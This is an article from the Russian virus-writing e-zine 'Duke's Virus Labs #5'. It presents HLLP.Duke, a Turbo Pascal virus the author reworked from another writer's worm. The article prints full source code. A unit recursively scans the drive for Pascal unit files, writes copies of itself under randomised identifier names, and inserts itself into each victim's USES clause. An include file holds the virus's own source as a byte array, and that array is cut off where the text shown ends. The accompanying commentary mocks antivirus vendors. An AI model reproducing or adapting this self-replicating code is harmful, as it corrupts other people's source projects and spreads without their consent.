- [Duke's Virus Labs #5] - [Page 09] - HLLP.Duke (c) by Duke/SMF Имя вируса : HLLP.Duke Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 20.03.99 Постоянные читатели DVL уже наверняка заметили, что меня хлебом не корми - дай поизвращаться на паскале. И я по прежнему в своем репертуаре ;)) В DVL #4 я опубликовал вирус HLLS.ZYX - симбиоз на паскале. А в журнале Moon Bug #9 RedArc опубликовал мутирующего червя HLLW.FMRA, таскающего за собой исходник и осуществляющего паразитизм (а точнее говоря, симбиоз) на Pascal-исходниках. По классификации DrWeb'а этот вирус носит имя HLLP.Dikshew.50592 . Касперский поднял руки вверх и сделал хорошую мину при плохой игре - сделал вид, что не заметил этого вируса, что его нет в природе. А это обнажило бессилие AVP перед вирусами подобного типа... Учтем! Невольно пришлось сравнить эти два творения. Оба вируса являются демонстрационными, поскольку шансы выжить в дикой природе у них крайне малы. Я бы даже сказал, что у HLLW.FMRA вообще нет шансов :(( Мотивировка здесь проста : вирус таскает ~40Kb констант-исходников + ~10Kb прочих констант, переменных и кода. Прицепившись к исходнику вирус украдет у него бОльшую часть ресурсов. Т.о. значительное число пораженных файлов просто перестанет компилироваться. А почему вирус такой большой? По причине недоработок со стороны RedArc'а... Ну зачем надо было использовать String[150]??? Намного компактнее будет массив из символов или байт. Немного модернизировав исходник вируса HLLP.Dikshew.50592 я создал новый вирус HLLP.Duke (опять же, если придерживаться Web'овской классификации ;) Исходник не комментирован сознательно: не хватало только вирусу с собой еще и комментарии таскать, у нас и так борьба за малый размер. Поэтому скажу несколько слов по поводу вируса. Я старался не менять имен переменных, но привел текст вируса к виду, который считаю для него оптимальным. Ну, попутно пофиксил пару старых багов, восполнил этот пробел созвездием новых ;) , добавил пару фич и неплохо оптимизировал (размер сократился с 50Kb до 16Kb ! ). Если вирус работать не будет, я с себя всю ответственность снимаю: я писал только вирус с демонстрацией минимизации его размера, и не вникал в глубину творческой мысли RedArc'а :)) Осталось несколько вопросов к RedArc'у : зачем надо было применять CRT, оставлять пустые строки и использовать String[150] ? Если все это для большого размера, то лучше таскать с собой logo.sys ;)) В любом случае, спасибо RedArc'у за его вирус. Полные исходные тексты прилагаются. Приблуда для создания файла fmra_inc.inc: ===== begin setup.pas ===== program Setup_for__HLLP_Duke; var t1:text; Duke_File:file of char; z:byte; ch:char; begin Assign(t1,'fmra_inc.inc'); {$I-}ReWrite(t1);{$I+} if IOResult<>0 then Exit; WriteLn(t1,'CONST'); assign(Duke_File,'fmra_beg.pas');reset(Duke_File); writeln(t1,'Duke_Max=',filesize(Duke_File),';'); writeln(t1,'Duke_Mas:array[1..Duke_Max] of byte ='); z:=0; write(t1,'('); while not eof(Duke_File) do begin read(Duke_File,ch); write(t1,ord(ch)); if not eof(Duke_File) then write(t1,','); z:=z+1; if z=20 then begin writeln(t1,'');z:=0;end; end; write(t1,');'); Close(t1); end. ===== end setup.pas ===== А это сам верховный вирус : ===== begin fmra_beg.pas ===== UNIT FMRA_BEG; INTERFACE USES DOS; {$IFNDEF D+} CONST Hello='HLLP.Duke (c) by Duke/SMF'; {$ENDIF D+} TYPE FMRA_PList = ^FMRA_TList; FMRA_TList = record Name : String[12]; Next : FMRA_Plist; end; CONST Exchange : Array [1..10] of String [15] = ('FMRA_', 'Manager', 'ChDrive', 'UpStr', 'RandomName', 'InfectFile', 'DetectUnitFile', 'ScanDir', 'Exchange', 'RandomSelect'); {$I FMRA_INC.inc} VAR FMRA_SR : SearchRec; FMRA_S : String; Exchange1 : Array [1..10] of String [15]; Duke_Tek : integer; PROCEDURE FMRA_Manager; IMPLEMENTATION PROCEDURE FMRA_ChDrive (Drive : Byte);Assembler; asm MOV AH, 0Eh MOV DL, Drive; INT 21h END; FUNCTION FMRA_UpStr (S : String) : String; VAR S1 : String; i : Integer; BEGIN S1:=S; for i:=1 to Length(S1) do S1[i]:=UpCase(S1[i]); FMRA_UpStr:=S1; END; FUNCTION FMRA_RandomName(Range:Byte):String; VAR S : String; I, J, K : Byte; t : Text; BEGIN repeat S:=''; K:=1+Random(Range); if K<7 then K:=7; for J:=1 to K do begin I:=65+Random(26); S:=S+Chr(I); end; Assign(t,S+'.pas'); {$I-}ReSet(t);{$I+} if IOResult<>0 then break; Close (t); until False; FMRA_RandomName:=S; END; PROCEDURE FMRA_RandomSelect; VAR I, J : Byte; Flag : Boolean; BEGIN Exchange1[1]:=FMRA_RandomName(5); for I:=2 to 10 do Exchange1[I]:=FMRA_RandomName(14)+'_'; repeat Flag:=True; for J:=1 to 9 do for I:=J+1 to 10 do if Exchange1[J]=Exchange1[I] then begin Exchange1[I]:=FMRA_RandomName(14)+'_'; Flag:=False; end; until Flag; END; PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String); VAR S : String; I, J : Byte; BEGIN ReSet(t); ReWrite(t1); While not Eof(t) do begin ReadLn(t,S); for I:=1 to 10 do while Pos(Exchange[I],S)>0 do begin J:=Pos(Exchange[I],S); Delete(S,J,Length(Exchange[I])); Insert(Exchange1[I],S,J); end; WriteLn(t1,S); end; Close(t1); Close(t); Erase(t); Rename(t1,S1); END; function Duke_TakeString : string; var s:string; begin s:=''; while Duke_Mas[Duke_Tek]<>10 do begin s:=s+chr(Duke_Mas[Duke_Tek]); Duke_Tek:=Duke_Tek+1; end; s:=copy(s,1,length(s)-2); Duke_TakeString:=s; end; procedure FMRA_InfectFile (S : String); var t1,t2 : Text; S1 : String; I, J : Integer; S2 : String [8]; Duke_St:string; Duke_File:file of char; ch:char; z:byte; begin S2:=FMRA_RandomName(8); Duke_St:=S2+'.pas'; Assign(t1,Duke_St); {$I-}ReWrite(t1);{$I+} if IOResult<>0 then Exit; Duke_Tek:=1; while Duke_Tek<>Duke_Max do begin S1:=Duke_TakeString; if Pos('{$I ',S1)=1 then S1:='{$I '+S2+'.inc}'; if Pos('UNIT',S1)=1 then S1:='UNIT '+S2+ ';'; WriteLn(t1,S1); end; Close(t1); Assign(t2,FMRA_RandomName(8)+'.pas'); FMRA_RandomSelect; FMRA_Rename(t1,t2,Duke_St); Assign(t1,S2+'.inc'); ReWrite(t1); if IOResult<>0 then Exit; WriteLn(t1,'CONST'); assign(Duke_File,Duke_St);reset(Duke_File); writeln(t1,'Duke_Max=',filesize(Duke_File),';'); writeln(t1,'Duke_Mas:array[1..Duke_Max] of byte ='); z:=0; write(t1,'('); while not eof(Duke_File) do begin read(Duke_File,ch); write(t1,ord(ch)); if not eof(Duke_File) then write(t1,','); z:=z+1; if z=20 then begin writeln(t1,'');z:=0;end; end; write(t1,');'); Close(t1); Assign(t2,FMRA_RandomName(8)+'.inc'); FMRA_Rename(t1,t2,S2+'.inc'); Assign(t1,S); ReSet(t1); if IOResult<>0 then Exit; Assign(t2,'Scheriff.pas'); ReWrite(t2); while not Eof(t1) do begin ReadLn(t1,S1); if Pos ('USES ',FMRA_UpStr(S1))>0 then Insert('{$IFNDEF D+} '+S2+', {$ENDIF D+} ',S1,Pos('USES ',FMRA_UpStr(S1))+5); WriteLn(t2,S1); end; Close(t2); Close(t1); Erase(t1); Rename(t2,S); end; procedure FMRA_DetectUnitFile (S : String); var t : Text; Flag : Boolean; S1 : String; begin Assign(t,S);{$I-}ReSet(t);{$I+} if IOResult<>0 then Exit; Flag:=False; while not Eof(t) do begin ReadLn(t,S1); if Pos('{$IFNDEF',S1)>0 then begin Flag:=False; Break; end; if FMRA_UpStr(S1)='IMPLEMENTATION' then Flag:=True; end; Close(t); if Flag then FMRA_InfectFile(S); end; procedure FMRA_ScanDir(stdir:PathStr); var n,L : FMRA_PList; m : PathStr; St : string[79]; ch : char; DIR : DirStr; NAM : NameStr; EXT : EXTSTR; begin FileMode:=0; L:=nil; if stdir[Length(stdir)]<>'\' then stdir:=stdir+'\'; m:=stdir+'*.*'; FindFirst(m,AnyFile,FMRA_SR); while dosError=0 do begin if ((FMRA_SR.Attr and Directory)<>0) and (FMRA_SR.Name[1]<>'.') then begin New(n); N^.Next:=L; N^.Name:=FMRA_SR.Name; L:=N; end else if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin FMRA_S:=m; Delete(FMRA_S,Length(m)-2,3); FMRA_S:=FMRA_S+FMRA_SR.Name; FSPLIT(FMRA_S,DIR,NAM,EXT); IF (EXT='.PAS') and (FMRA_SR.Attr and Hidden=0) THEN FMRA_DetectUnitFile(FMRA_S); end; FindNext(FMRA_SR); end; while L<>nil do begin m:=Stdir+L^.Name; ChDir(m); if IOResult<>0 then Exit; n:=L; L:=L^.next; Dispose(n); m:=m+'\'; if IOResult=0 then FMRA_ScanDir(m); m:=stdir; if m[length(m)-1]<>':' then m[0]:=chr(length(stdir)-1); ChDir(m); end; end; PROCEDURE FMRA_Manager; VAR Home : PathStr; S : String; BEGIN Randomize; GetDir(0, Home); if Home[Length(Home)]='\' then Delete(Home,Length(Home),1); S:=Home[1]+':'; FMRA_ChDrive(ORD(UpCase(S[1]))-65); FMRA_ScanDir(S); FMRA_ChDrive(ORD(UpCase(Home[1]))-65); ChDir(Home); END; BEGIN FMRA_Manager; END. ===== end fmra_beg.pas ===== ===== begin fmra_inc.inc ===== CONST Duke_Max=5817; Duke_Mas:array[1..Duke_Max] of byte = (85,78,73,84,32,70,77,82,65,95,66,69,71,59,13,10,73,78,84,69, 82,70,65,67,69,13,10,85,83,69,83,32,68,79,83,59,13,10,123,36, 73,70,78,68,69,70,32,68,43,125,13,10,67,79,78,83,84,32,72,101, 108,108,111,61,39,72,76,76,80,46,68,117,107,101,32,40,99,41,32,98, 121,32,68,117,107,101,47,83,77,70,39,59,13,10,123,36,69,78,68,73, 70,32,68,43,125,13,10,84,89,80,69,13,10,32,32,70,77,82,65,95, 80,76,105,115,116,32,61,32,94,70,77,82,65,95,84,76,105,115,116,59, 13,10,32,32,70,77,82,65,95,84,76,105,115,116,32,61,32,114,101,99, 111,114,100,13,10,32,32,32,32,78,97,109,101,32,58,32,83,116,114,105, 110,103,91,49,50,93,59,13,10,32,32,32,32,78,101,120,116,32,58,32, 70,77,82,65,95,80,108,105,115,116,59,13,10,32,32,32,32,101,110,100, 59,13,10,67,79,78,83,84,13,10,32,32,32,32,32,69,120,99,104,97, 110,103,101,32,58,32,65,114,114,97,121,32,91,49,46,46,49,48,93,32, 111,102,32,83,116,114,105,110,103,32,91,49,53,93,32,61,13,10,32,32, 32,32,32,40,39,70,77,82,65,95,39,44,13,10,32,32,32,32,32,32, 39,77,97,110,97,103,101,114,39,44,13,10,32,32,32,32,32,32,39,67, 104,68,114,105,118,101,39,44,13,10,32,32,32,32,32,32,39,85,112,83, 116,114,39,44,13,10,32,32,32,32,32,32,39,82,97,110,100,111,109,78, 97,109,101,39,44,13,10,32,32,32,32,32,32,39,73,110,102,101,99,116, 70,105,108,101,39,44,13,10,32,32,32,32,32,32,39,68,101,116,101,99, 116,85,110,105,116,70,105,108,101,39,44,13,10,32,32,32,32,32,32,39, 83,99,97,110,68,105,114,39,44,13,10,32,32,32,32,32,32,39,69,120, 99,104,97,110,103,101,39,44,13,10,32,32,32,32,32,32,39,82,97,110, 100,111,109,83,101,108,101,99,116,39,41,59,13,10,123,36,73,32,70,77, 82,65,95,73,78,67,46,105,110,99,125,13,10,86,65,82,13,10,32,32, 32,70,77,82,65,95,83,82,32,58,32,83,101,97,114,99,104,82,101,99, 59,13,10,32,32,32,70,77,82,65,95,83,32,58,32,83,116,114,105,110, 103,59,13,10,32,32,32,69,120,99,104,97,110,103,101,49,32,58,32,65, 114,114,97,121,32,91,49,46,46,49,48,93,32,111,102,32,83,116,114,105, 110,103,32,91,49,53,93,59,13,10,32,32,32,68,117,107,101,95,84,101, 107,32,58,32,105,110,116,101,103,101,114,59,13,10,13,10,80,82,79,67, 69,68,85,82,69,32,70,77,82,65,95,77,97,110,97,103,101,114,59,13, 10,13,10,73,77,80,76,69,77,69,78,84,65,84,73,79,78,13,10,13, 10,80,82,79,67,69,68,85,82,69,32,70,77,82,65,95,67,104,68,114, 105,118,101,32,40,68,114,105,118,101,32,58,32,66,121,116,101,41,59,65, 115,115,101,109,98,108,101,114,59,13,10,97,115,109,13,10,77,79,86,32, 65,72,44,32,48,69,104,13,10,77,79,86,32,68,76,44,32,68,114,105, 118,101,59,13,10,73,78,84,32,50,49,104,13,10,69,78,68,59,13,10, 13,10,70,85,78,67,84,73,79,78,32,70,77,82,65,95,85,112,83,116, 114,32,40,83,32,58,32,83,116,114,105,110,103,41,32,58,32,83,116,114, 105,110,103,59,13,10,86,65,82,13,10,32,32,32,83,49,32,58,32,83, 116,114,105,110,103,59,13,10,32,32,32,105,32,58,32,73,110,116,101,103, 101,114,59,13,10,66,69,71,73,78,13,10,83,49,58,61,83,59,13,10, 102,111,114,32,105,58,61,49,32,116,111,32,76,101,110,103,116,104,40,83, 49,41,32,100,111,32,83,49,91,105,93,58,61,85,112,67,97,115,101,40, 83,49,91,105,93,41,59,13,10,70,77,82,65,95,85,112,83,116,114,58, 61,83,49,59,13,10,69,78,68,59,13,10,13,10,70,85,78,67,84,73, 79,78,32,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,82, 97,110,103,101,58,66,121,116,101,41,58,83,116,114,105,110,103,59,13,10, 86,65,82,13,10,32,32,32,83,32,58,32,83,116,114,105,110,103,59,13, 10,32,32,32,73,44,32,74,44,32,75,32,58,32,66,121,116,101,59,13, 10,32,32,32,116,32,58,32,84,101,120,116,59,13,10,66,69,71,73,78, 13,10,114,101,112,101,97,116,13,10,32,32,83,58,61,39,39,59,13,10, 32,32,75,58,61,49,43,82,97,110,100,111,109,40,82,97,110,103,101,41, 59,13,10,32,32,105,102,32,75,60,55,32,116,104,101,110,32,75,58,61, 55,59,13,10,32,32,102,111,114,32,74,58,61,49,32,116,111,32,75,32, 100,111,13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,73, 58,61,54,53,43,82,97,110,100,111,109,40,50,54,41,59,13,10,32,32, 32,32,83,58,61,83,43,67,104,114,40,73,41,59,13,10,32,32,32,32, 101,110,100,59,13,10,32,32,65,115,115,105,103,110,40,116,44,83,43,39, 46,112,97,115,39,41,59,13,10,32,32,123,36,73,45,125,82,101,83,101, 116,40,116,41,59,123,36,73,43,125,13,10,32,32,105,102,32,73,79,82, 101,115,117,108,116,60,62,48,32,116,104,101,110,32,98,114,101,97,107,59, 13,10,32,32,67,108,111,115,101,32,40,116,41,59,13,10,117,110,116,105, 108,32,70,97,108,115,101,59,13,10,70,77,82,65,95,82,97,110,100,111, 109,78,97,109,101,58,61,83,59,13,10,69,78,68,59,13,10,13,10,80, 82,79,67,69,68,85,82,69,32,70,77,82,65,95,82,97,110,100,111,109, 83,101,108,101,99,116,59,13,10,86,65,82,13,10,32,32,32,73,44,32, 74,32,58,32,66,121,116,101,59,13,10,32,32,32,70,108,97,103,32,58, 32,66,111,111,108,101,97,110,59,13,10,66,69,71,73,78,13,10,69,120, 99,104,97,110,103,101,49,91,49,93,58,61,70,77,82,65,95,82,97,110, 100,111,109,78,97,109,101,40,53,41,59,13,10,102,111,114,32,73,58,61, 50,32,116,111,32,49,48,32,100,111,32,69,120,99,104,97,110,103,101,49, 91,73,93,58,61,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101, 40,49,52,41,43,39,95,39,59,13,10,114,101,112,101,97,116,13,10,32, 32,70,108,97,103,58,61,84,114,117,101,59,13,10,32,32,102,111,114,32, 74,58,61,49,32,116,111,32,57,32,100,111,13,10,32,32,32,32,102,111, 114,32,73,58,61,74,43,49,32,116,111,32,49,48,32,100,111,13,10,32, 32,32,32,105,102,32,69,120,99,104,97,110,103,101,49,91,74,93,61,69, 120,99,104,97,110,103,101,49,91,73,93,32,116,104,101,110,13,10,32,32, 32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,69,120,99, 104,97,110,103,101,49,91,73,93,58,61,70,77,82,65,95,82,97,110,100, 111,109,78,97,109,101,40,49,52,41,43,39,95,39,59,13,10,32,32,32, 32,32,32,70,108,97,103,58,61,70,97,108,115,101,59,13,10,32,32,32, 32,32,32,101,110,100,59,13,10,117,110,116,105,108,32,70,108,97,103,59, 13,10,69,78,68,59,13,10,13,10,80,82,79,67,69,68,85,82,69,32, 70,77,82,65,95,82,101,110,97,109,101,32,40,118,97,114,32,116,44,32, 116,49,32,58,32,84,101,120,116,59,32,83,49,32,58,32,83,116,114,105, 110,103,41,59,13,10,86,65,82,13,10,32,32,32,83,32,58,32,83,116, 114,105,110,103,59,13,10,32,32,32,73,44,32,74,32,58,32,66,121,116, 101,59,13,10,66,69,71,73,78,13,10,82,101,83,101,116,40,116,41,59, 13,10,82,101,87,114,105,116,101,40,116,49,41,59,13,10,87,104,105,108, 101,32,110,111,116,32,69,111,102,40,116,41,32,100,111,13,10,32,32,98, 101,103,105,110,13,10,32,32,82,101,97,100,76,110,40,116,44,83,41,59, 13,10,32,32,102,111,114,32,73,58,61,49,32,116,111,32,49,48,32,100, 111,13,10,32,32,32,32,119,104,105,108,101,32,80,111,115,40,69,120,99, 104,97,110,103,101,91,73,93,44,83,41,62,48,32,100,111,13,10,32,32, 32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,74,58,61, 80,111,115,40,69,120,99,104,97,110,103,101,91,73,93,44,83,41,59,13, 10,32,32,32,32,32,32,68,101,108,101,116,101,40,83,44,74,44,76,101, 110,103,116,104,40,69,120,99,104,97,110,103,101,91,73,93,41,41,59,13, 10,32,32,32,32,32,32,73,110,115,101,114,116,40,69,120,99,104,97,110, 103,101,49,91,73,93,44,83,44,74,41,59,13,10,32,32,32,32,32,32, 101,110,100,59,13,10,32,32,87,114,105,116,101,76,110,40,116,49,44,83, 41,59,13,10,32,32,101,110,100,59,13,10,67,108,111,115,101,40,116,49, 41,59,13,10,67,108,111,115,101,40,116,41,59,13,10,69,114,97,115,101, 40,116,41,59,13,10,82,101,110,97,109,101,40,116,49,44,83,49,41,59, 13,10,69,78,68,59,13,10,13,10,102,117,110,99,116,105,111,110,32,68, 117,107,101,95,84,97,107,101,83,116,114,105,110,103,32,58,32,115,116,114, 105,110,103,59,13,10,118,97,114,32,115,58,115,116,114,105,110,103,59,13, 10,98,101,103,105,110,13,10,115,58,61,39,39,59,13,10,119,104,105,108, 101,32,68,117,107,101,95,77,97,115,91,68,117,107,101,95,84,101,107,93, 60,62,49,48,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32, 115,58,61,115,43,99,104,114,40,68,117,107,101,95,77,97,115,91,68,117, 107,101,95,84,101,107,93,41,59,13,10,32,32,68,117,107,101,95,84,101, 107,58,61,68,117,107,101,95,84,101,107,43,49,59,13,10,32,32,101,110, 100,59,13,10,115,58,61,99,111,112,121,40,115,44,49,44,108,101,110,103, 116,104,40,115,41,45,50,41,59,13,10,68,117,107,101,95,84,97,107,101, 83,116,114,105,110,103,58,61,115,59,13,10,101,110,100,59,13,10,13,10, 112,114,111,99,101,100,117,114,101,32,70,77,82,65,95,73,110,102,101,99, 116,70,105,108,101,32,40,83,32,58,32,83,116,114,105,110,103,41,59,13, 10,118,97,114,13,10,32,32,32,32,116,49,44,116,50,32,58,32,84,101, 120,116,59,13,10,32,32,32,32,83,49,32,58,32,83,116,114,105,110,103, 59,13,10,32,32,32,32,73,44,32,74,32,58,32,73,110,116,101,103,101, 114,59,13,10,32,32,32,32,83,50,32,58,32,83,116,114,105,110,103,32, 91,56,93,59,13,10,32,32,32,32,68,117,107,101,95,83,116,58,115,116, 114,105,110,103,59,13,10,32,32,32,32,68,117,107,101,95,70,105,108,101, 58,102,105,108,101,32,111,102,32,99,104,97,114,59,13,10,32,32,32,32, 99,104,58,99,104,97,114,59,13,10,32,32,32,32,122,58,98,121,116,101, 59,13,10,98,101,103,105,110,13,10,83,50,58,61,70,77,82,65,95,82, 97,110,100,111,109,78,97,109,101,40,56,41,59,13,10,68,117,107,101,95, 83,116,58,61,83,50,43,39,46,112,97,115,39,59,13,10,65,115,115,105, 103,110,40,116,49,44,68,117,107,101,95,83,116,41,59,13,10,123,36,73, 45,125,82,101,87,114,105,116,101,40,116,49,41,59,123,36,73,43,125,13, 10,105,102,32,73,79,82,101,115,117,108,116,60,62,48,32,116,104,101,110, 32,69,120,105,116,59,13,10,68,117,107,101,95,84,101,107,58,61,49,59, 13,10,119,104,105,108,101,32,68,117,107,101,95,84,101,107,60,62,68,117, 107,101,95,77,97,120,32,100,111,13,10,32,32,98,101,103,105,110,13,10, 32,32,83,49,58,61,68,117,107,101,95,84,97,107,101,83,116,114,105,110, 103,59,13,10,32,32,105,102,32,80,111,115,40,39,123,36,73,32,39,44, 83,49,41,61,49,32,116,104,101,110,32,83,49,58,61,39,123,36,73,32, 39,43,83,50,43,39,46,105,110,99,125,39,59,13,10,32,32,105,102,32, 80,111,115,40,39,85,78,73,84,39,44,83,49,41,61,49,32,116,104,101, 110,32,83,49,58,61,39,85,78,73,84,32,39,43,83,50,43,32,39,59, 39,59,13,10,32,32,87,114,105,116,101,76,110,40,116,49,44,83,49,41, 59,13,10,32,32,101,110,100,59,13,10,67,108,111,115,101,40,116,49,41, 59,13,10,65,115,115,105,103,110,40,116,50,44,70,77,82,65,95,82,97, 110,100,111,109,78,97,109,101,40,56,41,43,39,46,112,97,115,39,41,59, 13,10,70,77,82,65,95,82,97,110,100,111,109,83,101,108,101,99,116,59, 13,10,70,77,82,65,95,82,101,110,97,109,101,40,116,49,44,116,50,44, 68,117,107,101,95,83,116,41,59,13,10,65,115,115,105,103,110,40,116,49, 44,83,50,43,39,46,105,110,99,39,41,59,13,10,82,101,87,114,105,116, 101,40,116,49,41,59,13,10,105,102,32,73,79,82,101,115,117,108,116,60, 62,48,32,116,104,101,110,32,69,120,105,116,59,13,10,87,114,105,116,101, 76,110,40,116,49,44,39,67,79,78,83,84,39,41,59,13,10,97,115,115, 105,103,110,40,68,117,107,101,95,70,105,108,101,44,68,117,107,101,95,83, 116,41,59,114,101,115,101,116,40,68,117,107,101,95,70,105,108,101,41,59, 13,10,119,114,105,116,101,108,110,40,116,49,44,39,68,117,107,101,95,77, 97,120,61,39,44,102,105,108,101,115,105,122,101,40,68,117,107,101,95,70, 105,108,101,41,44,39,59,39,41,59,13,10,119,114,105,116,101,108,110,40, 116,49,44,39,68,117,107,101,95,77,97,115,58,97,114,114,97,121,91,49, 46,46,68,117,107,101,95,77,97,120,93,32,111,102,32,98,121,116,101,32, 61,39,41,59,13,10,122,58,61,48,59,13,10,119,114,105,116,101,40,116, 49,44,39,40,39,41,59,13,10,119,104,105,108,101,32,110,111,116,32,101, 111,102,40,68,117,107,101,95,70,105,108,101,41,32,100,111,13,10,32,32, 98,101,103,105,110,13,10,32,32,114,101,97,100,40,68,117,107,101,95,70, 105,108,101,44,99,104,41,59,13,10,32,32,119,114,105,116,101,40,116,49, 44,111,114,100,40,99,104,41,41,59,13,10,32,32,105,102,32,110,111,116, 32,101,111,102,40,68,117,107,101,95,70,105,108,101,41,32,116,104,101,110, 32,119,114,105,116,101,40,116,49,44,39,44,39,41,59,13,10,32,32,122, 58,61,122,43,49,59,13,10,32,32,105,102,32,122,61,50,48,32,116,104, 101,110,32,98,101,103,105,110,32,119,114,105,116,101,108,110,40,116,49,44, 39,39,41,59,122,58,61,48,59,101,110,100,59,13,10,32,32,101,110,100, 59,13,10,119,114,105,116,101,40,116,49,44,39,41,59,39,41,59,13,10, 67,108,111,115,101,40,116,49,41,59,13,10,65,115,115,105,103,110,40,116, 50,44,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,56,41, 43,39,46,105,110,99,39,41,59,13,10,70,77,82,65,95,82,101,110,97, 109,101,40,116,49,44,116,50,44,83,50,43,39,46,105,110,99,39,41,59, 13,10,65,115,115,105,103,110,40,116,49,44,83,41,59,13,10,82,101,83, 101,116,40,116,49,41,59,13,10,105,102,32,73,79,82,101,115,117,108,116, 60,62,48,32,116,104,101,110,32,69,120,105,116,59,13,10,65,115,115,105, 103,110,40,116,50,44,39,83,99,104,101,114,105,102,102,46,112,97,115,39, 41,59,13,10,82,101,87,114,105,116,101,40,116,50,41,59,13,10,119,104, 105,108,101,32,110,111,116,32,69,111,102,40,116,49,41,32,100,111,13,10, 32,32,98,101,103,105,110,13,10,32,32,82,101,97,100,76,110,40,116,49, 44,83,49,41,59,13,10,32,32,105,102,32,80,111,115,32,40,39,85,83, 69,83,32,39,44,70,77,82,65,95,85,112,83,116,114,40,83,49,41,41, 62,48,32,116,104,101,110,13,10,32,32,32,32,73,110,115,101,114,116,40, 39,123,36,73,70,78,68,69,70,32,68,43,125,32,39,43,83,50,43,39, 44,32,123,36,69,78,68,73,70,32,68,43,125,32,39,44,83,49,44,80, 111,115,40,39,85,83,69,83,32,39,44,70,77,82,65,95,85,112,83,116, 114,40,83,49,41,41,43,53,41,59,13,10,32,32,87,114,105,116,101,76, 110,40,116,50,44,83,49,41,59,13,10,32,32,101,110,100,59,13,10,67, 108,111,115,101,40,116,50,41,59,13,10,67,108,111,115,101,40,116,49,41, 59,13,10,69,114,97,115,101,40,116,49,41,59,13,10,82,101,110,97,109, 101,40,116,50,44,83,41,59,13,10,101,110,100,59,13,10,13,10,112,114, 111,99,101,100,117,114,101,32,70,77,82,65,95,68,101,116,101,99,116,85, 110,105,116,70,105,108,101,32,40,83,32,58,32,83,116,114,105,110,103,41, 59,13,10,118,97,114,13,10,32,32,32,32,116,32,32,32,32,58,32,84, 101,120,116,59,13,10,32,32,32,32,70,108,97,103,32,58,32,66,111,111, 108,101,97,110,59,13,10,32,32,32,32,83,49,32,32,32,58,32,83,116, 114,105,110,103,59,13,10,98,101,103,105,110,13,10,65,115,115,105,103,110, 40,116,44,83,41,59,123,36,73,45,125,82,101,83,101,116,40,116,41,59, 123,36,73,43,125,13,10,105,102,32,73,79,82,101,115,117,108,116,60,62, 48,32,116,104,101,110,32,69,120,105,116,59,13,10,70,108,97,103,58,61, 70,97,108,115,101,59,13,10,119,104,105,108,101,32,110,111,116,32,69,111, 102,40,116,41,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32, 82,101,97,100,76,110,40,116,44,83,49,41,59,13,10,32,32,105,102,32, 80,111,115,40,39,123,36,73,70,78,68,69,70,39,44,83,49,41,62,48, 32,116,104,101,110,13,10,32,32,32,32,98,101,103,105,110,13,10,32,32, 32,32,70,108,97,103,58,61,70,97,108,115,101,59,13,10,32,32,32,32, 66,114,101,97,107,59,13,10,32,32,32,32,101,110,100,59,13,10,32,32, 105,102,32,70,77,82,65,95,85,112,83,116,114,40,83,49,41,61,39,73, 77,80,76,69,77,69,78,84,65,84,73,79,78,39,32,116,104,101,110,32, 70,108,97,103,58,61,84,114,117,101,59,13,10,32,32,101,110,100,59,13, 10,67,108,111,115,101,40,116,41,59,13,10,105,102,32,70,108,97,103,32, 116,104,101,110,32,70,77,82,65,95,73,110,102,101,99,116,70,105,108,101, 40,83,41,59,13,10,101,110,100,59,13,10,13,10,112,114,111,99,101,100, 117,114,101,32,70,77,82,65,95,83,99,97,110,68,105,114,40,115,116,100, 105,114,58,80,97,116,104,83,116,114,41,59,13,10,118,97,114,13,10,32, 32,32,32,110,44,76,32,58,32,70,77,82,65,95,80,76,105,115,116,59, 13,10,32,32,32,32,109,32,58,32,80,97,116,104,83,116,114,59,13,10, 32,32,32,32,83,116,32,58,32,115,116,114,105,110,103,91,55,57,93,59, 13,10,32,32,32,32,99,104,32,58,32,99,104,97,114,59,13,10,32,32, 32,32,68,73,82,32,58,32,68,105,114,83,116,114,59,13,10,32,32,32, 32,78,65,77,32,58,32,78,97,109,101,83,116,114,59,13,10,32,32,32, 32,69,88,84,32,58,32,69,88,84,83,84,82,59,13,10,98,101,103,105, 110,13,10,70,105,108,101,77,111,100,101,58,61,48,59,13,10,76,58,61, 110,105,108,59,13,10,105,102,32,115,116,100,105,114,91,76,101,110,103,116, 104,40,115,116,100,105,114,41,93,60,62,39,92,39,32,116,104,101,110,32, 115,116,100,105,114,58,61,115,116,100,105,114,43,39,92,39,59,13,10,109, 58,61,115,116,100,105,114,43,39,42,46,42,39,59,13,10,70,105,110,100, 70,105,114,115,116,40,109,44,65,110,121,70,105,108,101,44,70,77,82,65, 95,83,82,41,59,13,10,119,104,105,108,101,32,100,111,115,69,114,114,111, 114,61,48,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32,105, 102,32,40,40,70,77,82,65,95,83,82,46,65,116,116,114,32,97,110,100, 32,68,105,114,101,99,116,111,114,121,41,60,62,48,41,32,97,110,100,32, 40,70,77,82,65,95,83,82,46,78,97,109,101,91,49,93,60,62,39,46, 39,41,32,116,104,101,110,13,10,32,32,32,32,98,101,103,105,110,13,10, 32,32,32,32,78,101,119,40,110,41,59,13,10,32,32,32,32,78,94,46, 78,101,120,116,58,61,76,59,13,10,32,32,32,32,78,94,46,78,97,109, 101,58,61,70,77,82,65,95,83,82,46,78,97,109,101,59,13,10,32,32, 32,32,76,58,61,78,59,13,10,32,32,32,32,101,110,100,13,10,32,32, 101,108,115,101,13,10,32,32,105,102,32,40,70,77,82,65,95,83,82,46, 65,116,116,114,32,97,110,100,32,86,111,108,117,109,101,73,68,61,48,41, 32,97,110,100,32,40,70,77,82,65,95,83,82,46,65,116,116,114,32,97, 110,100,32,68,105,114,101,99,116,111,114,121,61,48,41,32,116,104,101,110, 13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,70,77,82, 65,95,83,58,61,109,59,13,10,32,32,32,32,68,101,108,101,116,101,40, 70,77,82,65,95,83,44,76,101,110,103,116,104,40,109,41,45,50,44,51, 41,59,13,10,32,32,32,32,70,77,82,65,95,83,58,61,70,77,82,65, 95,83,43,70,77,82,65,95,83,82,46,78,97,109,101,59,13,10,32,32, 